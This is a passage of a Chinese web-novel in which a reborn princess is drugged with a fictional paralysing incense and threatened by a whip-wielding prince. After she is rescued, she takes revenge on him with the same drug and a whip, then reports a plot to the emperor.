“翠竹后背受了鞭伤,不过幸好冬日衣服较厚,她伤的并不严重,我已亲自给她涂药,只是她还被踢了一脚,受了些内伤,不过太医说了,并不严重,喝几天药,再休息几天,便可完全恢复。” 李嬷嬷又急忙补充道:“我已派专人负责伺候翠竹,必不会让她有任何后遗症。” “好,我知道了,你先下去吧。” “是。”李嬷嬷躬身退到屋外等待。 刚才只说了一会儿话,苏清华感觉头更晕了,以前从未有过这种感觉,看来这次是真的劳累过度...... 苏清华再次躺下,闭眼昏睡了过去。 只是这次入睡之后,她便陷入了无尽梦境,她恍然又回到了前一世,继母让王嬷嬷将他送上了大皇子的马车,大皇子面色痴狂的朝着她走来,那血红色的长鞭,再次将她抽倒在地...... 那种感觉好恐怖,好无助,好痛苦! “滚!通通给我滚!” 重活一世,她再也不要陷入如此被动的境地! 可无论她如何挣扎,就是逃不脱大皇子长鞭的包围... 苏清华狠了狠心,咬了一下舌尖,瞬间的疼痛,使她彻底醒了过来,她使尽全身的力气,坐起身来。 睁开眼睛,映入眼帘的又是那藕荷色的帘账。 原来是做了一个噩梦...... 苏清华揉了揉沉重的额头,脸自然的朝着门口的方向看去。 “你怎么在这?”苏清华见到门口的身影,不由惊出一身冷汗:“李嬷嬷,你在哪,快到我屋里来。” “别白费力气了,她已经被我迷晕了,太后的人也都离开了,现在整个院子,只剩了我跟你两个人还清醒......” “哦,不对,是只有我还清醒。”那人说着哈哈大笑起来。 这笑声并不是很大,却令苏清华本就昏沉的头脑,更加混乱。 因为前世,在她每次被折磨的欲死不能的时候,大皇子也是如此的大笑。 没错,此时跟她共处一室的,正是大皇子-赵亥! 根据她自身的身体状态,还有刚才大皇子的话,她推测她是不小心中了药。 她有一种十分不好的预感,这种迷药不是普通的迷药,因为她敢随着周玥回来,便是因为早就提前服用了“醒脑丹”。 服了这醒脑丹,在这三天之内,等闲毒药对她来说,根本毫无作用,可此时她不仅身体无力,头晕目眩,甚至有一种如梦似幻的感觉。 若是她猜的没错,她目前的症状,竟像是中了一种名叫“如梦香”的迷药。 这种迷药可以令人如坠梦中,大脑会一点一点,慢慢的失去对身体的控制,先是躯干与四肢,然后是头部,最后是嘴巴跟眼睛,可这期间,她的脑子却会一直清醒,清楚的知道周围发生了什么。 就犹如人在梦中,虽能看见,能听见梦中事务,却对梦境如何发展,毫无办法。 这下毒之人,竟是不止想害她,而且还想让她清楚的知道,自己被害的整个过程,却毫无反抗之力,甚至是挣扎都无可能...... 苏清华知道的如此清楚,是因为这种药物,“煤球”曾传输过给她,她脑海里清楚的知道,它是如何制得的,它有什么作用,甚至是如何解它。 只可惜,她虽知道解法,如今身边却没有解药...... 服了醒脑丹,等闲药物对她并不好使,可这“如梦香”却正好可以不被“醒脑丹”控制。 只是不知,这下毒之人,是运气太好,还是对她了解甚深? 难道那人竟跟“煤球”有所关联?否则又怎会用的毒,正好与煤球给她传递的信息一致? 可惜煤球虽有灵性,可毕竟是只猫,不会说人语,不能开口告诉她,它来自何处?又为何会知道那么多药学知识? 除了这个疑惑,苏清华还有疑惑不解的地方,那就是,她什么时候中的这香? 她微闭着双眼,尽力调动脑子运作,仔细回想昨晚的一切。 对她如此怨恨,能想出这么阴毒招数,还有机会对她下手的,只能是周玥! 可她是什么时候,又是如何下的毒呢? 苏清华眼睛移到眼前的藕荷色帘账上,不由苦笑一声:原来是这样...... 这香早就下在这帘账之上,她在这床上睡了一个多时辰,自然是吸进去不少! 若不是因为她内力受损,太过劳累,她自然会发现这帘账的异常。 可周玥从知道她出事,到亲自去接她,中间不过半个时辰。 她能在这么短时间,算计好一切,让自己掉入她的陷阱。 周玥的心计,果然非同一般。 这一计策最完美之处,便是她能提前算到,皇上会让太后提前回宫,这样的话,即使她在此处出事,也跟她与太后毫无关系。 这计谋若不是用在她身上,她都想为周玥点赞。 可这计谋偏偏是用在她身上... 苏清华暗忖:来日方长,周玥,我记住你了,还有那背后制毒之人,她也要想办法找到.... 这些思索其实只在一瞬之间,苏清华一边整理思路,一边暗中取出一根银针,狠狠的扎进了自己指尖,剧烈的疼痛人,让她暂时清醒了几分。 “赵亥,你若是敢动我一下,我必让你死无葬身之地!” “好。”大皇子不但不恼,反而大声喝彩。 “我就喜欢你的这份不屈,你越是强硬,我越是被你深深吸引。” 大皇子一脸兴奋,说着他掏出一根长鞭,使劲往空中一甩。 “来吧,再说几句狠话给我听听,若是说的让我满意,说不定我会放过你。” 苏清华闻言,没有再开口,反而微闭着眼睛,积攒着力气,她如今所剩时间不多,必须赶在四肢不能动之前,尽快向人求救。 她在身上摸索一番,终于找到了那个狼骨口哨,她用手紧紧握住,全部包裹,不让赵亥发现,然后颤抖着手,一点一点的慢慢向上抬。 手终于到了嘴边,她迅速将骨哨放在唇边,用尽全身力气将其吹响,可由于力气太小,那声音并不大。 第一百零七章 待宰羔羊 苏清华刚吹了一声,一道残影闪过,骨哨便被大皇子一鞭子卷起,往地上狠狠一甩,那骨哨瞬间四分五裂。 这么小的声音,时间又如此短暂,在这空旷的行宫,不知能传出多远,又是否会被人发现? 苏清华内心不由轻叹,这已经是她能做的所有,今日看来真要折在这里...... 不过幸好,她知道大皇子的秘密,这也是她现在最庆幸的。 “你果然没让我失望,都这个时候了,竟还想自救,这哨子是谁的?你的好大哥苏赫?那恐怕你要失望了,他现在正忙着跟宋墨渊一起,帮皇上查刺客呢,与你这妹妹相比,还是功勋更重要,今日你注定是逃不掉了。” “呵呵。”苏清华嗤笑一声,说:“赵亥,你今日来,是想干嘛?你说喜欢我,可你还有喜欢人的能力吗?” “你说什么?”听到这句话,赵亥本痴狂的脸上,露出一丝惊骇。 她难道知道他最重要的秘密? 不可能呀,所有知道他秘密的人,都已经死了,苏清华又怎么可能知道,除非她不是常人,能听见死人说话。 赵亥又镇定了几分心神,说:“我虽然平日里性格暴躁,可真做了我的女人,你便会知道,我可是很会疼人的......” “哈哈哈......”苏清华大笑出声:“这是我听过最好笑的笑话,就跟江公公说他很会疼女人一样好笑。” 赵亥本强行镇定下来的心神,再次激烈的动荡起来,她竟真的知道他最大的秘密,她竟真的知道--他不行! “是谁,是谁告诉你的?” 大皇子恼羞成怒,伸手掐住苏清华的脖子。 若是平常,还未等他靠近,苏清华便会一根银针,射在他身上,可此时,她的四肢已经完全不受控制,只能任人宰割。 苏清华扯动嘴角,对大皇子露出轻蔑的笑,从喉间艰难的吐出字来:“有本事..你便杀了我.....” 大皇子见状,反而松开了手,说:“杀了你?那样的话就不好玩了,若是引起天韶国不满,父皇非但不会奖励我,说不定还会继续关押我,你休想故意激怒我。” 咳咳...... 苏清华忍不住剧烈咳嗽起来,然后大口的呼吸着新鲜空气。 “你即不敢杀我,也没能力干其他事,那又何必在这里浪费时间?” 大皇子闻言,眼眉轻挑,说:“你若是告诉我,你如何知道我的秘密,我便向你承诺,等我将来娶了你,不会只日日折磨你,毕竟你现在手握六座城池,还是有点作用的。” 大皇子一脸势在必得的看着苏清华。 “若想人不知,除非己莫为,赵亥,你杀了那么多无辜的宫女,难道半夜醒来,不会害怕吗?你不怕她们变成恶鬼,跟你索命吗?” “你竟连这些事情也知道,这怎么可能?”大皇子说着,不由感觉脊背发凉,身上的汗毛也不由立了起来:“难道你有通阴阳的能力?可以看见那些宫女的鬼魂?” “呵呵。你也有害怕的时候吗?不过很可惜你猜错了,我从没看见过鬼。” 苏清华见大皇子明显松了一口气。 苏清华嘴角邪恶一笑,继续说:“我虽然没见过鬼,可也不代表世界上没有鬼存在。” 苏清华眼神狠厉,怒视着大皇子道:“因为我就是鬼......我就是从地狱爬出来的鬼,我要代表那些冤魂,向你索命!” “你胡说,你休想故意吓唬我,别以为如此,我便不敢对你做什么了。只要我扒光你的衣服,跟你躺在一张床上,所有人都会以为,你已经是我的人,那你便只能嫁给我了。” “哼,别说你没那个能力,便是咱俩今天真发生了什么,我也不会嫁给你,我只会杀了你!” 苏清华眼神坚定,丝毫不畏的看着赵亥。 赵亥一时被她的眼神震慑,竟呆愣在原地片刻。 过了须臾,他才反应过来,说:“你如今已成为待宰的羔羊,你越是恐吓我,越代表你害怕了,能看到你害怕,即使我死了,也算值了。” “哈哈哈哈...”大皇子说完,便大声笑起来,并走到床前,伸手将苏清华的被子一把掀开。 他见苏清华只穿了一层薄衣,玲珑的身材若隐若现,不由更加兴奋。 苏清华见状,心也不由凉了一半。 此时她浑身上下,除了眼睛跟嘴,已经没有能动的地方。 “赵亥,你真是可怜,你真是世界上最可怜的可怜虫。你表面是皇子,可却从未得到过真正的爱,你小时候,你的的生母利用你争宠,如今你长大了,你的父皇利用你争夺城池,你始终都是一个被人利用的工具人。” 虽希望渺茫,苏清华还是没有放弃,她还想为自己再争取一线生机。 “你胡说!”大皇子闻言,果然停止了继续行动。 他满脸愤怒,大声吼道:“你胡说,我母妃是为了让父皇多关注我,所以才让我受伤的,还有父皇,他是为了重用我,所以才会给我机会的,我一点不可怜,我是赵阳国的大皇子,我怎么会可怜?可怜的应该是你才对。” 大皇子五官狰狞,继续说道:“你才是这赵阳最大的可怜虫。你从小不被重视,从小被人欺辱,如今虽被封公主,可那又如何?身在赵阳,却是天韶公主,满赵阳城上下,谁敢娶你?这公主便是你的致命毒药,别人接近你,只有一种可能,那便是为了城池。” 大皇子忽然狂笑起来:“苏清华,你才是世界上最可怜的人。你这一辈子都别想平静,你一辈子都会活在争斗之中。你是天韶的棋子,也是赵阳的棋子,一个棋子,这辈子注定没机会选择自己的路!” “谁说我不能选择自己的路?我不止能选自己的路,还能左右别人的路,你忘了你在苏府是如何丢人的?又是怎么被关进宗人府的?” 苏清华声音虽不大,赵亥听着却不由心底一颤。 “果然是你故意设计!可是为什么,我在那之前,并没有害过你!” 第一百零八章 梦中呓语 “我说过,我是从下面爬上来的鬼,你因为自己可怜,便残害她人生命,此事大逆不道,我在替天行道!” “哼,我本来只是想利用你,得到父皇的认可,既然你如此说,那我便一不做二不休,直接杀了你,我倒要看看,我若是杀了你,你是否还能再活过来?” 赵亥长鞭一甩,便朝着苏清华喉咙甩去。 “你在干什么?” 一个清冷的声音传来,接着一个硬物击中赵亥,他的右臂吃痛,不由松手将长鞭丢到地上。 赵亥一看,只见击中他的,是一颗墨色玉珠。 他转头看向门口,那里站着一个墨色身影,手中明黄色的折扇十分耀眼。 正是他的表弟,宋墨渊,他此刻眉头紧皱,明显的不悦,甚至眼神中带着丝丝杀气。 “你怎么会来?你不是在帮皇上查刺客吗?” 宋墨渊没有回应他,看了一眼床上的苏清华,见四肢僵硬,明显有异,又低头看向地上四分五裂的骨哨,那眼中的杀气更浓。 大皇子没有错过这个细节。 他不由惊叹:“好啊,原来那骨哨的主人竟不是苏赫,而是你!” 大皇子看着苏清华说:“你跟我胡扯半天,原来是为了拖延时间?可是你怎敢肯定,他真的会来?” 苏清华眼睛已经睁不开了,只勉强扯动嘴角,说:“宋墨渊,立刻送我回府。” 大皇子见状,不由嗤笑说:“你竟如此信任他?他可是这赵阳国内,最冷血无情的人,况且你又如何知道,他不是为了城池接近你?” 大皇子语音刚落,宋墨渊便给他一掌,这一掌虽未用全力,可大皇子也被打出很远,捂着胸口呻吟出声。 “好啊,宋墨渊,你竟为了她打我,原来向来孤高自傲的你,为了城池竟也会出卖色相!” 赵亥宁愿相信宋墨渊是为了城池,也不信他真动了凡心,毕竟赵阳城无人不知,他不近女色! “你再胡说一句,我便将你舌头割了。”宋墨渊冷冷威胁。 赵亥闻言不敢再说,宋墨渊虽不敢杀他,可割了他舌头,真能做了出来。 毕竟在父皇眼中,别说是他,便是太子也不及宋墨渊半分。 宋墨渊没有再耽搁,脱下外面的貂毛披风,将苏清华完全包裹,然后轻轻抱起苏清华向外走去。 碧山早已在外等候,问:“主子,清华公主怎么样了?” “立刻备马,我要带她回城。” “是。” 碧山立刻转身离去安排。 此次宋墨渊能及时赶到,便是碧山的功劳。 昨夜,宋墨渊安排他保护苏清华,后来被周玥制止进太后宫殿。 他便依公主所言,如实禀告主子。 宋墨渊听闻此事,吩咐他在宫殿外围暗处躲避,若是发现任何意外,立刻禀告与他。 后来太后匆匆搬离行宫,他也有机会进入内院,好不容易找到苏清华所居的院子,便见到大皇子走了进去。 碧山清楚苏清华的能力,大皇子根本不是她对手,因此他便没有立刻进去,直到苏清华吹响骨哨,他才知道事情的严重性。 可对方毕竟是皇子,他怕自己贸然进去,非但救不了苏清华,反而会激怒大皇子,便立刻前去禀告宋墨渊。 碧山赶去时,宋墨渊正在皇上书房,与他商讨如何查找,刺杀事件的幕后真凶,看门的太监听说碧山有紧急事,不敢耽搁,急忙进去禀报宋墨渊。 宋墨渊出来后,听说苏清华出事,便立刻赶了过来,甚至没来得及跟皇上解释。 须臾间,碧山便将马找来,宋墨渊抱着苏清华直飞马背,朝着京都的方向,飞奔而去。 朝霞漫过平原,马蹄声敲碎东方的朝阳。 宋墨渊勒紧缰绳,怀中的少女双眼迷蒙,已完全失去意识,开始妮妮自语起来。 “父亲,不要赶我走,我不是故意推的妹妹,是妹妹她说我娘死有余辜......” 说着,苏清华忽然拽紧他的衣襟。 那手握的极紧,好似她怕一松手,便会坠入无底深渊。 宋墨渊见到的苏清华从来都是冷静自持的样子,如今孤独无助的样子,他还是第一次见。 望着她委屈至极的样子,他心不由一紧,想将她紧紧护在胸前,不让人再欺负她一下。 她的声音突然哽咽,带着他从没见过的破碎感:“大皇子,不要抽我,我好疼……” 苏清华身体颤抖不已,她像只被抛弃后又被坏人毒打的小猫,眼神里全是恐惧与绝望。 宋墨渊不由将搂住她腰肢的手收紧,想要给她一点力量与希望。 同时他心里暗忖:原来大皇子刚才竟真的抽了她吗?早知道刚才就该将大皇子打的更狠一点! 苏清华瞳孔骤缩,怀中的身躯猛的将他使劲推开:“滚开,别碰我......” 宋墨渊担心她坠下马,不由将手收的更近,那柔软的小手却固执地抵住他的胸膛,与他保持距离,修长的指甲也因此深深掐进皮肉:“别挑断我的手脚,我没有害死我娘,别杀我,我没有叛国,我没有……”苏清华的声音越来越轻,滚烫的泪水顺着他手腕滑落。 宋墨渊猛地收紧双臂,指节捏得发白。 风卷着黄沙掠过耳畔,他却只听见少女断断续续的抽噎。 她说的如此悲凉,让抱着他的宋墨渊也不由心痛。 他自遇到她,便见她将自己武装成铜墙铁壁,手中利剑从未停止过挥舞,他以为她内心坚强,从不在乎那些说过的欺辱,原来在她内心深处,也藏着深深的恐惧与无奈。 不知她小时候究竟受了多少委屈,朦胧中竟会梦见被挑断手脚? “宋墨渊...你的箭好快,我的心好痛...你不要过来呀!”怀中少女再次呢喃出声。 宋墨渊听到自己名字,本十分欢喜,可待听到后面,又不由心痛。 她竟如此讨厌他吗?还有她为什么说他箭快,难道是今日白天狩猎之时,吓到了了她? 宋墨渊心中波涛汹涌,可腿夹马覆的速度却没有停下。 朝日渐升,宋墨渊望着远处隐约的城门轮廓,心中不由欢喜。怀中的人已经陷入昏睡,睫毛上还凝着未干的泪痕,苍白的嘴唇无意识地翕动。 第一百零九章 亲手报仇 宋墨渊握紧缰绳,不由加快了马速,以后他一定不会再让她单枪匹马,如此无助。 待进了城门,宋墨渊再次呼唤苏清华,可她毫无反应,他心不由又紧了起来。 宋墨渊将手中缰绳完全放松,腿也不由加快拍打频率,凭着自己精湛的马技,快速在京城的街道奔驰,须臾间便赶到了公主府。 当他飞身下马,那枣红色宝马,便瘫倒在地。 宋墨渊并没有敲门,而是飞身进入,直奔苏清华的院子。 绿晚见到宋墨渊先是一愣,待看到他怀抱之人,立刻上前,问:“宋公子,主子怎么了?” “她好像中了毒,只是我也不知她到底中了何毒,她只说让我尽快送她回府,我便将她送回来了。”宋墨渊解释道。 绿晚闻言,立刻明白,说:“麻烦宋公子先将主子抱进屋子,我去找煤球,它必然可以帮主子解毒。” 绿晚几声轻唤,正在附近玩耍的煤球,便重新回到院子,当它听说苏清华中毒,本悠闲的猫脸上,立刻也变得凝重起来。 等不及绿晚领路,它便从窗户跳进苏清华的房间,恰巧宋墨渊正将她放在床上,煤球直接跳到她床上,毫不犹豫的咬开右爪,将鲜血滴到苏清华嘴里。 待到绿晚从正门穿过正厅进入房间,苏清华已悠悠转醒。 她睁开眼睛,第一时间抓住煤球的猫爪,阻止它继续放血,心疼的说:“煤球,我学艺不精,竟还得靠你自残放血救我,我是不是让你很失望?” 煤球摇摇小脑袋,抽回自己的爪爪,放到嘴边,竟欲再咬一处口子,苏清华急忙阻止,说:“好了,你身子这么小,总共有多少血?便是全部放干了,我的毒怕是也不能全解,如今我已醒来,剩下的你教给我吧,你正好可以考察一下,我合不合格,是否可以出师了?” 语毕,苏清华转头看向绿晚,说:“绿晚,你先帮煤球包扎一下,然后去药房,帮我取甘草50g......,按照同样剂量,每日两幅,一连三日,我便可痊愈。” 煤球听罢,使劲点头,若是它会说话,说的必是:“不错,不错,主子果然聪明绝顶,可以出山了。” 众人看着煤球捣头如蒜,深沉中又带着可爱的样子,不由笑了起来,本紧张的气氛也缓解了不少。 宋墨渊一直悬着的心,也跟着释怀了不少。 他如今才知道,苏清华制毒解毒的技艺,竟是跟着这只黑猫学的。 绿晚不敢耽搁,带着煤球离开了房间,去了药房。 屋子里只剩下苏清华与宋墨渊。 苏清华经过煤球的救治,虽没有完全恢复,可也清醒了不少,她真诚的说:“多谢宋公子再次出手相助,日后若有需要,我必会奉还这份恩情。西山围场那边,必是急需你回去处理,你赶快回去吧。” “围场那边,如今有你大哥在,我暂时不回也没什么,大皇子那边,你想怎么处理?”宋墨渊问道。 苏清华闻言,眸色一冷,说:“等我身体痊愈,自会亲自讨回公道。” 苏清华忽然想起一事,开口道:“宋公子,我还有一事相求,翠竹还在围场,我怕会有人趁我不在,欺负她,烦请宋公子多加照顾一二。” 宋墨渊点点头:“翠竹那边,我会安排碧山照顾的,只是此事发生在太后行宫,只怕不是大皇子一人所为,你准备怎么办?” “此事不管是谁出的手,等我病好,必会一一讨回。” 宋墨渊没有再问,转身离去。 宋墨渊清楚苏清华的脾气,她即想亲自报仇,他便会尊重她的意愿。 只要她不与整个赵阳为敌,他必会尽力帮她! 宋墨渊走后,绿晚很快便将药熬好,给苏清华服下。 此时躺在自己床上,又有绿晚在身边,苏清华终于可以放心睡下。 这一觉睡的极香,她甚至梦见自己亲手报了仇,然后离开了赵阳,去了天韶,在那里不止又见到了十分想念的师父,还有一群宠着她的亲人。 三日后,苏清华身体已完全恢复,在床上躺了整整三日,她的体力已完全恢复,她实在躺不住了,便到院子里打打拳,活动一下筋骨,恰巧绿晚来报:“公主,天五回来了。” “快让他进来。” 苏清华返回屋子,天五也随后进屋,拱手一礼:“公主殿下,属下回来了。” “辛苦了,哥哥急召你回去,所为何事?” “启禀公主,太子召我回去,主要是为了您的十五岁生辰,前一阵大雪封路,他们无法给您送礼,急的不行,此次好不容易等到雪化,便立刻让我将礼物拿回来给您。” 说着,天五将一大布袋礼物拿了出来,递到苏清华眼前,苏清华打开一看,有各种名人字画,珠宝首饰,每件礼物的包装盒上都标识着是谁送她的,她大约看了一眼,字画等礼物是天韶皇帝与太子送的,而珠宝首饰则是写着长公主。 “天韶长公主醒了吗?”苏清华好奇问道。 “长公主尚未苏醒,这些是太子殿下,亲自从天雅公主首饰中选的,太子说了,若是长公主苏醒,不止会同意将这些送与你,必定还会亲自给您做更多。” 苏清华微微皱眉,不解其意,这长公主与她素未相识,太子哥哥为何会如此认定? 苏清华随即舒缓眉头,没有深究,认真问道:“想给我送礼物,随便找个人便是,为何非要你亲自回去一趟?” “回公主,太子殿下早知你会有此疑问,他让我将这封信给你,你看了自会明白一切。”天五从衣服深处找出一封信,然后恭敬的递给苏清华。 苏清华接过信打开,快速的浏览一遍,等看完信,她脸色阴沉如水。 “绿晚,西山围场的人,打算什么时候回京?” “翠竹已派人来过消息,明日皇上便会率众人返回,届时翠竹也会一起回来。” “好,那明日我们便去趟大皇子府,他欠下的债,该讨回来了。” 第一百一十章 以牙还牙 绿晚闻言,立刻说:“主子,这几天我已跟绿辰学好了赵阳话,绝对不会让任何人听出纰漏,以后你去哪,我便去哪,谁若想再伤害您,除非从我的尸体上踏过。” 苏清华摇了摇头,说:“我知道这几天,你一直在为我出事自责,这件事不怪你,是我太过自信了,你会武功的事情,我暂时还不想暴露。太子不是一直想试图收买你们吗?你们先推脱一阵,过一阵便假意答应他吧。” 苏清华这几天想了很多事情,她自从重生归来,走的一直很顺,那天便有点大意了,早知道,便应该让碧山直接送她回城。 幸好最后有惊无险,不过这仇她必须报复回来,而且要狠狠的报复回来才解气。 “可是如此的话,你一个人去大皇子府,岂不是很危险?” “谁说我要一个人去?天五,明日你随我去。” “能为公主分忧,是我的荣幸,可我从未经过特殊培训,不但语言有异,武功路数更是容易暴露身份。”天五纠结道。 “我以前收敛锋芒,是为了专心对付张家,不想节外生枝。可有些阿猫阿狗却以为我是好欺负,今日起我便要让全赵阳城都知道,我清华公主不止手握六座城池,还有天韶皇族的大力支持!” “是。”天五与绿晚闻言,脸上都露出几分欣喜与雀跃。 公主终于不再低调了,赵阳这些不长眼的,不知道天韶皇上与太子对苏清华的重视程度,他们心里可是清楚的很,只要公主一声令下,便是铁骑再次踏入赵阳,天韶国也不会皱一下眉头。 第二日不到午时,翠竹跟李嬷嬷,便在碧山的护送下,返回公主府,并带回皇上已带领众人返回的消息。 苏清华先亲自到翠竹屋里探望她,见她身体无异,并没有留下后遗症,身上的鞭痕也基本消退,心中稍感安慰。 随后苏清华便叫上天五,出了公主府大门。 主仆两人,怀着同样的心情,一路赶到大皇子府。 大皇子刚刚回府,一杯热茶还未喝完,管家便急匆匆来报:“主子,不好了,清华公主,带着一个武功高强的奴仆,强打了进来,侍卫们根本拦不住,眼看马上就要打到正殿来了...” 管家不知道是跑的太过着急,还是被刚才的形势吓得,头上都是汗珠。 大皇子一脸震惊,猛地拍一下桌子,大声喝道:“什么,她怎敢如此?还有,你们怎会如此废物,府上养了多少侍卫,难道竟拦不住区区两个人?” “主子息怒,她毕竟是公主,我们不敢真下杀手,况且她手中银针无数,凡是被她扎到的人,都昏倒在地,不知是昏迷还是死了。” 大皇子思索片刻,还是跟着管家,往苏清华的方向去了。 他毕竟是皇子,苏清华见到他,应该会收敛一二,大皇子暗自想着。 两人刚出正殿,便已听到打斗声,苏清华主仆二人,竟已打到正院来了。 大皇子抬头望去,只见一人身高五尺,身穿灰色衣衫,身手敏捷又狠辣,几招之内便会将一个侍卫击倒,而苏清华身穿白衣,静立其中,甚至都未动手,只静静的看着那灰衣人施展身手。 “住手,大胆奴才,竟敢到我府上撒野,是不想活了吗?”大皇子高声喊道。 只是这声叫喊,非但没能恐吓住那灰衣人,反而引得那白色身影瞬间化为一道光影,朝着他直飞而来。 大皇子朝着暗处一挥手,立刻有八个暗卫现身,挡在他面前。 苏清华见状,右手轻轻一挥,几十根银针闪过,接着几声哀嚎,有四个护卫瞬间倒地。 她为了今天,早就做了充分准备,针上抹的都是剧烈的麻药,被扎到的人,两个时辰之内,都别想醒来。 “苏清华,你要干什么?你擅闯大皇子府,如今还出手伤人,难道你疯了?”大皇子见苏清华来势汹汹,内心无比慌乱的说道。 苏清华飞身一跃,从怀中掏出一包药粉,朝着大皇子面部一扬,说:“我是疯了,我今日便要以其人之道,还治其人之身。让你也尝尝这“如梦香”的百般滋味。” “你竟敢毒害皇子?”大皇子怒吼一声。 苏清华轻蔑一笑,说:“我如何不敢。” 她从腰间取出一根红色长鞭,向空中一甩,继续说道:“我不止敢毒害皇子,还敢鞭笞皇子,今日我是第一次用鞭,大皇子还挺多担待,我尽量不打脸,不过,你若是反抗,我可不敢保证,这准度到底如何!” “你疯了,你真疯了,来人呀,清华公主要谋杀本皇子,你们是瞎了吗?还不速速将她拿下?” 大皇子此时才知道事情的严重性,急忙对着剩下的四个暗卫大声呼救。 那四个暗卫刚才躲避及时,没有被银针扎上,刚才又见苏清华挥洒药粉,都尽全力飞出老远,以免沾上毒粉。 如今听见大皇子呼救,急忙往回飞,想过来救主,只是下一瞬间,一个灰影挡在他两面前,与他们颤抖起来。 原来大皇子府内的侍卫都已被天五打倒在地,此时大皇子府上,有武功的,除了大皇子,便只剩下这四名暗卫! 四人一起与天五对战,可一时也奈何不了天五。 不过其中一人却见识甚广,看破天五的招数,大声喊道:“你竟是天韶人?” “不错,我是天韶人又如何?你们主子眼睛瞎了,竟敢伤害我天韶公主,我今日便要帮她讨回公道!” 那人虽是识破对方武功路数,可也仅限与此,他们四人联合,竟是也只跟天五打个平手,根本没有能力摆脱他的纠缠,前去营救大皇子。 而另一边,苏清华不慌不忙,将那红色长鞭,轻轻一甩,缠向大皇子的脖颈,大皇子欲要反抗,可此时药效已慢慢发作,他的手脚根本不听他使唤。 “你们若是不想让他死,便立刻住手,否则大皇子若是死了,你们护主不力,也逃不过一个死字。” 那两个暗卫,面面相觑,不知该如何抉择。 第一百一十一章 天奴奸细 苏清华一个转身,来到大皇子身后,在他耳边低语:“立刻让他们住手,并且离开这里,否则我便将你的秘密,公之于众。” 大皇子手脚不受使唤,嘴却还好使,他怒吼道:“你敢,你若是敢,我......” 未等大皇子话说完,苏清华便大声喊道:“大皇子他不......” 行字还未说出,大皇子便立刻下令:“你们通通住手,退出正院。” 那四个暗卫,本就不能奈何天五,此时听到大皇子吩咐,不敢耽搁,立刻转身,用最快的速度离开了现场。 他们离开之后,苏清华一甩长鞭,毫不客气的打在大皇子身上,他虽是手脚不能动弹,可还是能感觉到疼痛,他不由痛呼出声。 “呵。我只轻轻试了一下,鞭子好不好用,你便忍不住叫出声了?” 苏清华冷笑一声,对天五说:“将他拖进屋子里,毕竟是皇子,多少给他留点面子,否则他以后还怎么做人?” 天五闻言,只一只手,便将瘫软在地的大皇子,拎了起来,然后丢进了正殿大堂。 里面的丫鬟见状,不用吩咐,自然的退了出去,出门后,还不忘顺手将门关上。 苏清华长鞭一甩,手速快如闪电,“啪啪啪”她又在大皇子身上,甩了三鞭。 “啊!”大皇子惨叫声更大了。 “怎么样?被人抽的滋味如何?赵亥,你不是喜欢这种感觉吗?那我今日,便让你享受个够。” 大皇子忍着疼痛,爬起身来,跪倒在地,说:“我不敢了,清华公主,你饶了我吧,我再也不敢了。” “呵呵。”苏清华嗤笑出声:“你真是让我失望,才这么几下,便跪地求饶了?当初那些宫女在你脚下求饶,你可曾想过,要饶过她们?” 说着,苏清华又对大皇子抽了过去。 此时大皇子只剩下了知觉,甚至开口求饶都已不能。 身上的疼痛如此真实,可那身体不受控的感觉,又仿若梦中。 当他以为他已死的时候,那鞭子便会抽在他后背,让他知道他还活着。 当他以为他活着的时候,那如梦香却令他无法动弹,甚至无法喊叫出声,仿佛他已经死了。 这种求生不得,求死不能的感觉,他还是第一次体会...... 终于,就在赵亥以为,苏清华真要打死他的时候,那鞭子却掉落在他头上。 “当你再想作恶的时候,便想想此刻的感觉,你若是还敢有下次,我必会让你必现在痛苦十倍!” 大皇子躺在地上,听着苏清华的警告,他想点头答应,可根本控制不住,即使他想眨眨眼睛,发现也是不能。 苏清华看着他的样子,没有继续出手,而是转身离开了。 赵亥听到脚步离开的声音,内心不由放松下来:他终于解脱了,他还活着。 接着,他听到府里下人喊叫他的声音...... 随后,他便彻底失去意识。 苏清华主仆离开大皇子府,天五问道:“公主,如今我们怎么办?他毕竟是皇子,赵阳帝会放过我们吗?我要不要跟太子联系一下,让他派人帮我们?” “哼,他不放过我?我也没准备放过他。我这几日在赵阳接连出事,我倒要亲自去问上一问,赵阳难道是想撕毁与天韶的条约?从今天起,我苏清华不装了!至于联系哥哥,现在还不到那个时候...” 语毕,苏清华翻身上马,直朝皇宫而去,天五见状立刻跟上。 她前一阵还是太收敛了,竟让赵阳都城,人人以为她只是待宰的羔羊。 如今若是再不将爪子漏出来,只怕什么阿猫阿狗,都想在她身上,撕块肉尝尝滋味。 她虽不怕事,可也不想再在这些事上,浪费精力。 今日对大皇子下手,一是为了报仇,二是为了敲山震虎,让赵阳帝也知道,她并不是那天韶与赵阳维持和平的吉祥物,会任他摆布。 苏清华带着天五,手拿天韶公主令牌,直达长庆殿门口。 江全亲自出来接待,问:“清华公主,今日忽然进宫,可是有急事?” “不错,我要立刻见皇上。” “皇上正与宋公子商讨围场刺杀之事,吩咐任何人不许打扰!” 江全见苏清华面色不虞,立刻又说:“清华公主见皇上所为何事?不如我先去通报?” “围场刺杀,我不止是见证者,更是受害者,我正好欲与皇上探讨此事。”苏清华脸色凌冽继续说道:“我还要跟皇上说一件,关乎赵阳生死存亡的大事。若是耽误了,只怕着急的便不是我了...”苏清华语气轻柔且坚定。 江全闻言,不由一震,随即躬身一礼,不敢耽搁,立刻进殿禀报。 不过须臾间,江全便再次现身,他有礼道:“皇上听闻清华公主前来,请您立刻进去。” 江全伸手,引着苏清华进殿,天五欲要跟进,被江全阻止。 苏清华转头吩咐天五:“你在此等候便可。” “是。” 苏清华走入大殿,果然见赵阳帝坐在上首,宋墨渊坐在一侧。 苏清华行了一礼,便在早已准备好的座位坐下。 “清华公主,关乎赵阳生死的大事?到底是什么?”赵阳帝脸色晦暗,眼神闪烁不明。 苏清华并没有被他释放的帝王气压吓住,反而一脸轻松的说:“听说你们在讨论围场刺杀之事,不如我们先从这里谈起吧?” “此事跟你说的大事有关?”赵阳帝问。 “是,关系重大!。”苏清华异常坚定。 赵阳帝点头:“既然两者相关,那便从此事说起吧,清华公主可是发现了什么端倪?” “我确实发现了端倪。”苏清华肯定的说道:“刺杀我的人,是天奴族人。” 赵阳帝一脸不可置信:“什么?竟有此事?围场之内重重把手,天奴族人,又是如何进入其中的?” “围场虽是重重把手,可那日人多繁杂,若是里面有人接应,想混进去,也不是很难。” “哦?依清华公主的意思,难道当日围场之内,竟有天奴国奸细?”赵阳帝不由眉头紧皱。 “不错,我敢百分百肯定,那日必有奸细趁机私藏刺客。” 